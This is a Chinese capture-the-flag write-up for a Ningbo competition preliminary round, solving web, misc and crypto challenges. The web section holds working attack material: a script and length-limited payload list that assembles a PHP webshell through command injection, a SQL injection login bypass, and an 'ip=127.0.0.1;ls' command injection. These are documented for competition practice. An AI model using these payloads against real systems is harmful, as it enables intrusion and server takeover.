第四届宁波赛初赛赛题 wp

Web

WEB1

打开页面发现源代码

119.61.19.212:50070/exec.php
在这里插入图片描述

GET 1必须小于八位

a.py :

\#!/usr/bin/python

\# -*- coding: UTF-8 -*-

import requests

url = "http://119.61.19.217:50070/exec.php?1={0}"

print("[+]start attack!!!")

with open("payload.txt","r") as f:

for i in f:

print("[*]" + url.format(i.strip()))

requests.get(url.format(i.strip()))

\#检查是否攻击成功

test = requests.get("http://119.61.19.217:50070/exec.php")

if test.status_code == requests.codes.ok:

print("[*]Attack success!!!")

 

$$ Payload.txt:

>hp

>1.p\

>d>\

>\ -\

>e64\

>bas\

>7|\

>XSk\

>Fsx\

>dFV\

>kX0\

>bCg\

>XZh\

>AgZ\

>waH\

>PD9\

>o\ \

>ech\

ls -t>0

sh 0 $$

WEB2

访问:view-source:119.61.19.217:50998/index.php~

发现源码:

在这里插入图片描述

然后$pass这块我们要输入和加密md5一样的值, 他们的条件就成立了 就能获得flag了

通过post发送

user: 1’ and 1=2 union select
concat(‘21232f297a57a5a743894a0e4a801fc3’)#

pass : admin

即可拿到flag!

WEB3

在这里插入图片描述

用脚本跑:

import hashlib

from multiprocessing.dummy import Pool as ThreadPool

 

\# MD5截断数值已知 求原始数据

\# 例子 substr(md5(captcha), 0, 6)=60b7ef

 

def md5(s): # 计算MD5字符串

return hashlib.md5(str(s).encode('utf-8')).hexdigest()

 

keymd5 = 'da29f1' #已知的md5截断值

md5start = 0 # 设置题目已知的截断位置

md5length = 6

 

def findmd5(sss): # 输入范围 里面会进行md5测试

key = sss.split(':')

start = int(key[0]) # 开始位置

end = int(key[1]) # 结束位置

result = 0

for i in range(start, end):

\# print(md5(i)[md5start:md5length])

if md5(i)[0:6] == keymd5: # 拿到加密字符串

result = i

print(result) # 打印

break

 

list=[] # 参数列表

for i in range(10): # 多线程的数字列表 开始与结尾

list.append(str(10000000*i) + ':' + str(10000000*(i+1)))

pool = ThreadPool() # 多线程任务

pool.map(findmd5, list) # 函数 与参数列表

pool.close()

pool.join()

 

得到url:119.61.19.217:50071/4e6333ed08642de989aa4af8ec40941d.php在这里插入图片描述

119.61.19.217:50071/4e6333ed08642de989aa4af8ec40941d.php?ip=127.0.0.1;ls

命令注入,但是好像环境有问题。

通过dirsearch直接扫描得到flag.php

拿到flag

WEB4

Dirsearch 扫描目录得到

view-source:119.61.19.217:51301//.index.php.swp

在这里插入图片描述

只要我们让file_text内容等于config.php的$test666的值就能拿到flag.

view-source:119.61.19.217:51301/index.php?file=config.php

在这里插入图片描述

得到config.php内容

在这里插入图片描述

得到flag

WEB5

在这里插入图片描述

扫描得到1.htaccess

得到

在这里插入图片描述

直接访问:119.61.19.217:50987/ctf_C1n_Fl4G

得到flag

misc

音乐和乐谱

尾部有音乐加密的密钥解密一下

在这里插入图片描述

在这里插入图片描述

彩虹

255,165,0

255,0,0

255,255,0

0,128,0

0,255,255

0,0,255

128,0,128

255165255255255128255255255128128

美丽的小姐姐

直接跑高度,修改就出flag

在这里插入图片描述

在这里插入图片描述

听雨寻知音

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

0010 0100 01 0100 1001 100 0001 110 10

…-. .-… .- .-… -…- -… …- --. -.

474FA66E4562828A772BC49CAE52AAD4

11011011101011011001111100010

子曰有云

佛曰解密

U2FsdGVkX19PNzVW96O4NOwIMRlbvcuHUpzSkdInC/086i4qWjwiziuu9rOnZpEFJwX9Qs4G
解 乃斐氏列与斐氏列二之解,加之。

Crypto

RSA

简单的RSA。

直接上工具解

在这里插入图片描述

需要注意的是e不要写成16进制的11就好了,然后到在线md5加密加密下就好了

在这里插入图片描述

nike

直接python2跑一下,发现sorry字样,查看代码发现有个地方改下就好了
在这里插入图片描述

然后得到base64字符串,解密下就得到flag,需要注意的是,有几次加密的md5几个字母会有偏差。
在这里插入图片描述

经过测试这个才是最终flag

简单混合密码

45213
lhoea
PkRSf
{pUO}
gjlna
gSkKR

esOnKoRulkaf}aRlP{gghkpjS


版权声明:本文为pone2233原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。